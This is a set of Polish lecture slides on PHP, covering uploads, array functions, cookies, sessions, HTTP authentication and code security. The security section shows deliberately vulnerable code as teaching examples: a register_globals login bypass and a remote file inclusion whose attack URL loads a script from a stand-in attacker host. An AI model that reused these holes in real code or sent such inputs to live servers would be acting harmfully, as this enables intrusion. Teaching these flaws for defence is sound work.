    • UPLOAD_ERR_FORM_SIZE (kod 2)

– plik przekracza rozmiar określony dyrektywą z formularza MAX_FILE_SIZE

    • UPLOAD_ERR_PARTIAL (kod 3)

– plik pobrany częściowo

    • UPLOAD_ERR_NO_FILE (kod 4)

– nie pobrano żadnego pliku

php wysy anie plik w z formularza6
PHP – wysyłanie plików z formularza
  • Funkcje przydatne przy wysyłaniu plików z formularza
    • bool is_uploaded_file(string nazwa_pliku)

– upewnia nas, że plik faktycznie został przysłany metodą POST, a skrypt nie będzie pracował na plikach których nie powinien

    • bool move_uploaded_file(string plik,

string destination)

– po sprawdzeniu, że plik został przysłany metodą POST jest on przenoszony do nowej lokalizacji

php wysy anie plik w z formularza7
PHP – wysyłanie plików z formularza
  • Wysyłanie wielu plików
  • Przykład: pliki.php
php funkcje do obs ugi tablic
PHP – funkcje do obsługi tablic
  • array array_count_values(array wejście)
    • zwraca tablicę z elementami i ich częstością występowania w tablicy wejście (p)
  • array array_diff(array t1, array t2 [, array ...])
    • zwraca tablicę, której elementami są te elementy t1, które nie występują w pozostałych argumentach (p)
  • array array_fill(int start, int ile, mixed wartość)
    • wypełnia tablicę podanymi wartościami (p)
php funkcje do obs ugi tablic1
PHP – funkcje do obsługi tablic
  • array array_filter(array wejście [, callback funkcja_zwrotna])
    • zwraca tablicę elementów z wejście, dla których funkcja_zwrotna zwróci TRUE (p)
  • array array_flip(array trans)
    • dla każdego elementu tablicy wymienia klucz z odpowiadającą mu wartością (p)
  • array array_intersect(array t1, array t2 [, array ...])
    • zwraca elementy z t1, które występuję we wszystkich pozostałych argumentach (p)
php funkcje do obs ugi tablic2
PHP – funkcje do obsługi tablic
  • bool array_key_exists (mixed szukany,

array tablica)

    • sprawdza, czy szukany klucz jest w tablicy (p)
  • array array_map(callback funkcja_zwrotna,

array t1 [, array t2...])

    • wykonuje funkcje zwrotną na każdym elemencie t1; liczba argumentów funkcji zwrotnej powinna być równa ilości tablic (p)
php funkcje do obs ugi tablic3
PHP – funkcje do obsługi tablic
  • array array_merge(array t1, array t2 [, array ...])
    • łączy kilka tablic w jedną (p)
  • mixed array_pop(array tablica)
    • usuwa i zwraca ostatni element tablicy
  • int array_push ( array tablica, mixed wartosc [, mixed ...])
    • wstawia jeden więcej elementów na koniec tablicy
php funkcje do obs ugi tablic4
PHP – funkcje do obsługi tablic
  • mixed array_rand(array wejście [, int ilość])
    • wybiera jeden lub więcej losowo wybranych elementów z tablicy (p)
  • void shuffle(array tablica)
    • tasuje elementy tablicy (p)
  • array array_reverse(array wejście

[, bool zachowaj_klucze])

    • odwraca kolejność elementów w tablicy (p)
php funkcje do obs ugi tablic5
PHP – funkcje do obsługi tablic
  • mixed array_search(mixed igła, array

stóg_siana [, bool ścisły])

    • szuka wartości w tablicy
    • zwraca klucz znalezionego elementu lub NULL
    • ścisły określa, czy mają być też porównywane typy elementów
php funkcje do obs ugi tablic6
PHP – funkcje do obsługi tablic
  • mixed array_shift(array tablica)
    • usuwa i zwraca pierwszy element tablicy
  • array array_slice(array tablica, int

przesunięcie [, int długość])

    • zwraca kawałek tablicy od przesunięcie, a długość to ilość zwróconych elementów
    • jeśli przesunięcie jest ujemne, to sekwencja zacznie się o tyle elementów od końca
    • jeśli długość jest ujemna, to sekwencja skończy się o tyle elementów od końca (p)
php funkcje do obs ugi tablic7
PHP – funkcje do obsługi tablic
  • mixed array_sum(array tablica)
    • oblicza sumę wartości elementów w tablicy
  • array array_unique(array tablica)
    • usuwa duplikaty wartości z tablicy
  • int array_unshift ( array tablica, mixed wartość [, mixed ...])
    • wstaw jeden lub więcej elementów na początek tablicy
  • int count(mixed zmienna)
    • zlicza ilość elementów w tablicy
php funkcje do obs ugi tablic8
PHP – funkcje do obsługi tablic
  • mixed current(array tablica)
    • zwraca wartość bieżącego elementu
  • mixed next(array tablica)
    • przesuwa wskaźnik o jeden do przodu
    • zwraca element po przesunięciu lub FALSE, jeśli nie ma więcej elementów
  • mixed prev(array tablica)
    • przesuwa wskaźnik o jeden do tyłu
    • zwraca element po przesunięciu lub FALSE, jeśli nie ma więcej elementów
php funkcje do obs ugi tablic9
PHP – funkcje do obsługi tablic
  • mixed reset(array tablica)
    • ustawia wskaźnik w tablicy na pierwszy element
    • zwraca ten pierwszy element
  • mixed end(array tablica)
    • ustawia wskaźnik w tablicy na ostatni element
    • zwraca ten ostatni element
  • mixed key(array tablica)
    • zwraca klucz bieżącego elementu tablicy asocjacyjnej
php funkcje do obs ugi tablic10
PHP – funkcje do obsługi tablic
  • int sizeof(mixed zmienna)
    • alias do funkcji count()
  • mixed pos(array tablica)
    • alias do funkcji current()
  • array range(mixed dolny, mixed górny)
    • tworzy tablicę elementów od dolny do górny włącznie
    • jeśli górny<dolny, to sekwencja będzie do górnego do dolnego (p)
php funkcje do obs ugi tablic11
PHP – funkcje do obsługi tablic
  • array each(array tablica)
    • pobiera parę (klucz, wartość) bieżącego elementu w tablicy
  • void list(mixed ...)
    • argumentom przypisuje kolejne elementy z przypisywanej tablicy (p)
php funkcje do obs ugi tablic12
PHP – funkcje do obsługi tablic
  • void sort(array tablica [, int flagi])
    • sortuje tablice
    • flagę można ustawić na
      • SORT_REGULAR - porównuj elementy normalnie
      • SORT_NUMERIC - porównuj elementy jako liczby
      • SORT_STRING - porównuj elementy jako stringi (p)
php funkcje do obs ugi tablic13
PHP – funkcje do obsługi tablic
  • void usort(array tablica, callback funkcja_por)
    • sortuje tablicę porównując elementy funkcją zdefiniowaną przez użytkownika (p)
  • void rsort(array tablica [, int flagi])
    • sortuje w porządku odwrotnych
  • int ksort (array tablica [, int flagi])
    • sortuje tablicę względem kluczy
    • zachowuje skojarzenia kluczy z danymi (p)
php i ciasteczka
PHP i ciasteczka
  • Co to są ciasteczka (cookie)?
  • Jak to działa?
  • Kwestia buforowania
  • Tablica $_COOKIES[ ]
php i ciasteczka1
PHP i ciasteczka
  • int setcookie( string nazwa

[, string wartość

[, int data_ważności

[, string ścieżka

[, string domena

[, int bezpieczne]]]]])

    • nazwa – nazwa ciasteczka
    • wartość – wartość ciasteczka
php i ciasteczka2
PHP i ciasteczka
  • data_ważności – do kiedy ciasteczko jest aktualne; liczba zwracana przez time() lub mktime()
  • ścieżka – specyfikuje URLe w domenie dla których ciastko jest dostępne
  • domena – domena dla której ciasteczko będzie dostępne
  • bezpieczne – określa, czy ciasteczko powinno być dostępne tylko za pomocą protokołu HTTPS
php i ciasteczka3
PHP i ciasteczka
  • Kilka uwag dotyczących funkcji setcookie()
    • niektóre argumenty można pominąć podając napisy puste
    • dwóch ostatnich argumenty w powyższy sposób pominąć nie można
    • ciasteczko może być usunięte tylko z takimi parametrami, z jakimi zostało usunięte
    • ustawione cookie będą widoczne dopiero po przeładowaniu strony
php i ciasteczka4
PHP i ciasteczka
  • Kilka uwag... c.d.
    • usunięcie ciasteczka odbywa się przez podanie wstecznej daty ważności – przeglądarka uruchamia wtedy mechanizm usunięcia ciastka
    • każda przeglądarka składuje cookies osobno
    • niekiedy przeglądarki różnie obsługują cookies
php i ciasteczka5
PHP i ciasteczka
  • Tablicowa obsługa ciasteczek

setcookie ("cookie[three]", "cookiethree");

setcookie ("cookie[two]", "cookietwo");

setcookie ("cookie[one]", "cookieone");

if (isset($_COOKIE['cookie'])) {

while (list($name, $value)=each($cookie)) {

echo "$name == $value&lt;br>\n";

}

}

php i ciasteczka6
PHP i ciasteczka
  • Przykłady:
    • setcookie ("ciacho", "smaczne",time()+3600, "/~pawel/", ".ii.uni.wroc.pl", 1);
    • ciacho.php
    • odwiedziny.php
php i nag wki http
PHP i nagłówki HTTP
  • int header(string treść_nagłówka)
    • wysyła nagłówek HTTP
    • przykłady:

header("Location: http://www.onet.pl/");

$download_size = filesize($file_server_path);

header("Content-type: application/x-download");

header("Content-Disposition: attachment;

filename=$file_download_name;");

header("Accept-Ranges: bytes");

header("Content-Length: $download_size");

@readfile($file_server_path);

php i nag wki http1
PHP i nagłówki HTTP
  • array headers_list (void)
    • lista nagłówków do wysłania
  • bool headers_sent (void)
    • sprawdza, czy nagłówki zostały już wysłane
php buforowanie
PHP – buforowanie
  • bool ob_start ( [callback output_callback])
    • rozpoczęcie buforowania
  • bool ob_end_clean ( void )
    • kończy buforowanie i czyści bufor wyjściowy
  • bool ob_end_flush ( void )
    • kończy buforowanie i wypisuje zawartość
  • void ob_clean ( void )
    • czyści bufor wyjściowy
php buforowanie1
PHP – buforowanie
  • string ob_get_clean (void)
    • zwraca aktualną zawartość bufora i czyści bufor
  • string ob_get_flush(void)
    • wypisuje zawartość bufora
    • zwraca go jako napis
    • kończy buforowanie
  • int ob_get_length(void)
    • zwraca rozmiar bufora wyjściowego
php buforowanie2
PHP – buforowanie
  • Przykład: bufory.php
php i sesje wprowadzenie
PHP i sesje - wprowadzenie
  • Jak to działa?
    • po co to? – stan aplikacji
    • rola klienta i serwera
    • identyfikator sesji (cookie lub zmienna GET)
php i sesje wprowadzenie1
PHP i sesje - wprowadzenie
  • Utworzenie sesji
  • Korzystanie z sesji

Klient wysyła żądanie zasobu

KLIENT

SERWER

Serwer odsyła identyfikator

nowo utworzonej sesji

Na serwerze

tworzona jest

nowa sesja

Klient wysyła żądanie zasobu

dołączając identyfikator sesji

KLIENT

SERWER

Na serwerze

odtwarzane

są dane sesji

php i sesje zestaw funkcji
PHP i sesje – zestaw funkcji
  • string session_name ([string nazwa])
    • pobierz i/lub ustaw nazwę dla sesji
    • wywołujemy przed session_start()
    • używana w identyfikatorze sesji (ciastka lub URL, domyślnie PHPSESSID)
    • jeśli chcemy zmienić nazwę, to musimy ją wywoływać na każdej stronie – w przeciwnym razie od razu przywracana jest wartość z session.name
php i sesje zestaw funkcji1
PHP i sesje – zestaw funkcji
  • string session_id ([string id])
    • pobierz i/lub ustaw identyfikator sesji
    • jeżeli zmienić identyfikator bieżącej sesji, to musimy wywołać funkcję przed session_start()
  • bool session_start(void)
    • tworzy (lub odtwarza) sesję w oparciu o identyfikator sesji przekazywany przez COOKIE lub parametr w URL.
    • jeżeli używamy sesji opartych o cookies, to session_start() musi być wywołane przed wysłaniem czegokolwiek do przeglądarki
php i sesje zestaw funkcji2
PHP i sesje – zestaw funkcji
  • void session_write_close(void)
    • zapisuje dane i kończy sesję
  • void session_commit(void)
    • alias do session_write_close()
  • bool session_destroy(void)
    • niszczy sesję, nie usuwa ciasteczka
    • prosty sposób usunięcia ciastka sesyjnego:

setcookie(session_name(),"",0,"/")

php i sesje zestaw funkcji3
PHP i sesje – zestaw funkcji
  • string session_save_path([string ścieżka])
    • pobierz i/lub ustaw ścieżkę zapisu bieżącej sesji
    • w Foxserv domyślnie:

C:\FoxServ\sessiondata

  • bool session_regenerate_id(void)
    • tworzy nowy identyfikator dla sesji (dostępne od PHP 4.3.2)
php i sesje zestaw funkcji4
PHP i sesje – zestaw funkcji
  • string session_encode(void )
    • koduje dane sesji do postaci stringu
  • bool session_decode(string dane)
    • odtwarza dane sesji ze stringu
    • najpierw trzeba użyć session_start
  • void session_set_cookie_params(

int czas_życia

[, string ścieżka

[, string domena]])

    • ustawia parametry ciastka sesji
php i sesje zestaw funkcji5
PHP i sesje – zestaw funkcji
  • array session_get_cookie_params(void)
    • zwraca parametry ciasteczka sesji
      • lifetime – czas życia sesji
      • path – ścieżka dla sesji
      • domain – domena ciasteczka
      • secure – ciasteczko może być przesyłane tylko poprzez biezpieczne połączenie
php i sesje zmienne cz 1
PHP i sesje – zmienne (cz. 1)
  • bool session_register(mixed nazwa

[, mixed ...])

    • rejestruje zmienną globalną jako zmienną sesji

$dilbert = "Fajny komiks";

session_register("dilbert");

  • bool session_unregister(string nazwa)
    • wyjestruj zmienną z bieżącej sesji
php i sesje zmienne cz 11
PHP i sesje – zmienne (cz. 1)
  • void session_unset(void)
    • zwalnia wszystkie zmienne sesji
  • bool session_is_registered(string nazwa)
    • sprawdza, czy zmienna jest zarejestrowana
php i sesje zmienne cz 2
PHP i sesje – zmienne (cz. 2)
  • Używamy tablicy $_SESSION[ ] (w starszych wersjach $HTTP_SESSION_VARS[ ])
    • ustanowienie zmiennej sesyjnej

$_SESSION["zmienna"] = "a to jej wartosc"

    • usunięcie zmiennej sesyjnej

unset($_SESSION["zmienna"])

    • usunięcie wszystkich zmiennych

$_SESSION = array()

    • sprawdzenie, czy zmienna istnieje

isset($_SESSION["zmienna"])

php i sesje przyk ady
PHP i sesje - przykłady
  • Niszczenie sesji (pierwszy sposób)

<?php

// Jeśli używasz sesion_name("cośtam"),

// nie zapomnij o tym teraz!

session_start();

session_unset();

session_destroy();

?>

php i sesje przyk ady1
PHP i sesje - przykłady
  • Niszczenie sesji (drugi sposób)

<?php

// Jeśli używasz sesion_name("cośtam"),

// nie zapomnij o tym teraz!

session_start();

$_SESSION = array();

session_destroy();

?>

php i sesje
PHP i sesje
  • Propagowanie identyfikatora w URLu
    • kiedy stosować?
    • stała SID
    • opcja --enable-trans-sid
    • opcja --enable-trans-sid, a wydajność – różnica ok. 10%
  • Zapisywanie danych sesji w bazie danych
    • do czego może się to przydać? (personalizacja)
    • funkcje session_encode() i session_decode()
php i sesje opcje
PHP i sesje – opcje
  • session.save_path
    • określa, gdzie będą tworzone pliki z danymi sesji
    • domyślnie: C:\FoxServ\sessiondata
  • session.name
    • określa nazwę sesji, która będzie też nazwą ciastka
    • domyślnie PHPSESSID
php i sesje opcje1
PHP i sesje – opcje
  • session.auto_start
    • określa, czy sesja ma być uruchamiana automatycznie na początku wywołania
    • domyślnie 0 (wyłączone)
  • session.cookie_lifetime
    • określa w sekundach długość życia ciastka sesyjnego
    • 0 oznacza "dopóki przeglądarka nie została zamknięta"
    • domyślnie 0
php i sesje opcje2
PHP i sesje – opcje
  • session.use_cookies
    • określa, czy identyfikator sesji będzie po stronie klienta pamiętany za pomocą ciastka
    • domyślnie 1 (włączone)
  • session.use_only_cookies
    • określa, czy do pomiętania id sesji mają być wykorzystywane tylko ciastka
    • domyślnie 0 (ze względu na kompatybilność)
    • zwiększa bezpieczeństwo
kontrola dost pu do danych
Kontrola dostępu do danych
  • Terminologia
    • Authentication – identyfikacja
    • Authorization – czy jest dostęp do zasobu
    • Access Control – sterowanie dostępem do zasobu (może zależeć od innych czynników)
autoryzacja http
Autoryzacja HTTP
  • Rodzaje
    • Basic
    • Digest
  • Główna zaleta Digest – hasło nie jest przesyłane jawnym tekstem
autoryzacja http w apache u
Autoryzacja HTTP w Apache'u
  • Najpierw sprawdzamy, czy apache jest skompilowany z modułem mod_auth.c

apache.exe -l

httpd -l

  • Upewniamy się, że pliku httpd.conf jest wpis

AllowOverride All

  • Teraz, możemy utworzyć plik .htaccess w każdym katalogu w którym chcemy sterować prawami dostepu
autoryzacja http w apache u1
Autoryzacja HTTP w Apache'u
  • Przykładowa zawartość pliku .htaccess

<Files tajne.php supertajne.php>

AuthType Basic

AuthUserFile /usr/local/apache/users

AuthName "Administration Module"

Require valid-user // pawel zenek

Order allow,deny

Allow from swiatowit.ii.uni.wroc.pl

Deny from all

Satisfy any // all

</Files>

  • Pominięcie znacznika Files sprawi, że chroniona będzie cała zawartość katalogu
autoryzacja http w apache u2
Autoryzacja HTTP w Apache'u
  • Na końcu tworzymy użytkownika

htpasswd -c users pawel

htpasswd users john

    • istotne, żeby pliku z użytkownikami nie trzymać w miejscu dostępnym z przeglądarki
autoryzacja http w apache u3
Autoryzacja HTTP w Apache'u
  • Podsumowanie
    • wystarcza przy mało wymagającej autoryzacji
    • ograniczenia przy zarządzaniu użytkownikami
    • interfejs przeglądarki
    • wylogowanie poprzez wyłączenie przeglądarki
    • konieczność ingerencji w konfigurację serwera
autoryzacja http w php
Autoryzacja HTTP w PHP
  • Kilka uwag na początek:
    • obsługiwana tylko wtedy, gdy PHP działa jako moduł Apache (jako CGI – nie działa)
    • obecnie obsługiwana jest tylko autoryzacja typu Basic
    • po wysłaniu nagłówków, użytkownik wpisuje dane użytkownika i hasło, które są przekazywane w zmiennych
      • $_SERVER['PHP_AUTH_USER']
      • $_SERVER['PHP_AUTH_PW']
autoryzacja http w php1
Autoryzacja HTTP w PHP
  • Przykład: httpauth.php
autoryzacja sesje w php
Autoryzacja – sesje w PHP
  • Etapy dostępu do danych
    • Logowanie
      • pobranie danych użytkownika (login + hasło)
      • weryfikacja
      • odnotowanie faktu weryfikacji w logach
      • rozpoczęcie sesji
autoryzacja sesje w php1
Autoryzacja – sesje w PHP
  • Etapy dostępu do danych
    • Użycie sesji
      • podtrzymanie sesji
      • ponowna weryfikacja uprawnień
    • Wylogowanie
      • zakończenie sesji
      • odnotowanie faktu w logach
      • usunięcie danych związanych z sesją (ważne)
autoryzacja sesje w php2
Autoryzacja – sesje w PHP
  • Przykład: login.php i pokaz.php
autoryzacja sesje w php3
Autoryzacja – sesje w PHP
  • Sprawdzanie hasła:
    • jak w przykładzie
    • na podstawie pliku tekstowego
    • na podstawie bazy danych
  • W miarę możliwości nigdzie nie trzymamy haseł w postaci jawnej
autoryzacja sesje w php4
Autoryzacja – sesje w PHP
  • Zalety przechowywania haseł w pliku
    • dobre dla obsługi kilku użytkowników
    • łatwa obsługa
    • nie wymagają dodatkowego oprogramowania
  • Zalety przechowywania haseł w bazie danych
    • możliwość obsługi bardzo wielu użytkowników
    • szybszy dostęp
    • lepsze zarządzanie zawartością
    • większe bezpieczeństwo
autoryzacja sesje w php5
Autoryzacja – sesje w PHP
  • Przesyłanie hasła
    • jawny tekst
    • szyfrogram md5 (obliczany po stronie klienta)
bezpiecze stwo kodu php
Bezpieczeństwo kodu PHP
  • Opcja register_globals w php.ini
    • jej włączenie powoduje, że wszystkie dane pochodzące od użytkownika są dostępne z poziomu zmiennej (POST, GET, COOKIE, ...)
    • powinna być wyłączona (Off) i tak jest domyślnie
    • Przykład (login.php):

<?php

if ($password == "as3jksj4w") $auth=true;

if ($auth) uruchom_tajne_procedury();

?>

bezpiecze stwo kodu php1
Bezpieczeństwo kodu PHP
  • A teraz uruchamiamy skrypt

login.php?auth=true

  • Przykład: (login.php ulepszony)

<?php

$auth=false;

if ($password == "as3jksj4w") $auth=true;

if ($auth) uruchom_tajne_procedury();

?>

bezpiecze stwo kodu php2
Bezpieczeństwo kodu PHP
  • Raportowanie błędów – error_reporting()
    • podczas pisania skryptów, testowania należy włączyć raportowanie

error_reporting(E_ALL)

    • przy wdrażaniu aplikacji należy wszystkie raportowania bezwzględnie powyłączać

error_reporting(0)

bezpiecze stwo kodu php3
Bezpieczeństwo kodu PHP
  • Weryfikacja danych pochodzących od użytkownika
    • sprawdzić należy wszystkie dane w szczególności pod kątem
      • typ danych
      • zawartość
      • długość
    • akceptujemy te tylko dane, których się spodziewaliśmy
    • nigdy nie polegamy na weryfikacji po stronie klienta
bezpiecze stwo kodu php4
Bezpieczeństwo kodu PHP
  • W jaki sposób weryfikować?
    • sprawdzić typy
    • skorzystać z wyrażeń regularnych
    • sprawdzić wielkość
    • sprawdzić zbiór dopuszczalnych wartości
    • ...
bezpiecze stwo kodu php5
Bezpieczeństwo kodu PHP
  • Przykład:

<?php

if (isset($_GET["plik"])) include($_GET["plik"]);

?>

i agresor robi tak:

skrypt.php?plik=http://agresor.pl/zlosliwy.php

bezpiecze stwo kodu php6
Bezpieczeństwo kodu PHP
  • Wszystkie pliki PHP powinny być przez serwer parsowane
    • jeżeli dajemy rozszerzenie .inc, to musimy się upewnić, że pliki z tym rozszerzeniem są interpretowane
  • Nie należy dawać możliwości oglądnięcia wyniku działania funkcji phpinfo()
bezpiecze stwo kodu php7
Bezpieczeństwo kodu PHP
  • Upload plików
    • należy upewniać się, że upload pliku faktycznie miał miejsce – służą do tego funkcje
      • is_uploaded_file()
      • move_uploaded_file()
bezpiecze stwo kodu php8
Bezpieczeństwo kodu PHP
  • Tryb bezpieczny (safe_mode)
    • jeśli możliwe, należy z tego korzystać, chociaż lepiej dobrze skonfigurować serwer WWW
    • skrypt ma dostęp tylko to tych plików których właścicielem jest właściciel skryptu
bezpiecze stwo kodu php9
Bezpieczeństwo kodu PHP
  • Dyrektywy odpowiedzialne za tryb bezpieczny
    • safe_mode = Off
    • safe_mode_gid = 0
    • safe_mode_include_dir =
    • safe_mode_exec_dir =
    • open_basedir =
    • safe_mode_allowed_env_vars = PHP_
    • safe_mode_protected_env_vars = LD_LIBRARY_PATH
    • disable_functions =
bezpiecze stwo kodu php10
Bezpieczeństwo kodu PHP
  • Ukrywanie rozszerzeń
    • dodajemy w pliku httpd.conf

(ewentualnie .htaccess)

AddType application/x-httpd-php .htm .html

  • Ukrywanie hasła do bazy danych (plik httpd.conf)

<Directory "C:\Foxserv\www\test">

php_admin_value open_basedir C:\Foxserv\www\test

php_admin_value disable_functions a3js8ge4a2

</Directory>

<?php

echo ini_get("disabled_functions");

?>